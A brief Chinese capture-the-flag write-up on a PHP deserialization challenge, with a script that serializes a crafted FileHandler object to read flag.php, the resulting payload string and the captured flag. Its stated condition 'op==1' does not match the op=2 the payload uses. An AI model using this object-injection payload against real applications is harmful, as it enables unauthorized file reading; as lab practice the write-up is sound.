题目分析
1.访问网址
发现是一道反序列化的题目,是第一次做
查了下资料:序列化就是把数据转化为一种可逆的数据结构,那么反序列化就是把这种数据结构重新还原为数据
2.代码审计
所以,我们只需要对FileHandler进行序列化,然后题目对其反序列化还原时,就会自动创建该对象,从而对相应属性赋值,从而做出题目
我们了解到,要想得到flag,需要满足三个条件
op==1
filename和content都得存在
content长度<=100
所以,我们可以这样构造
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "8"; //因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
输出为
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"8";}
然后我们构造payload就行了
看到flag
flag{09eaa11a-e2ef-434b-82ec-591f92400d78}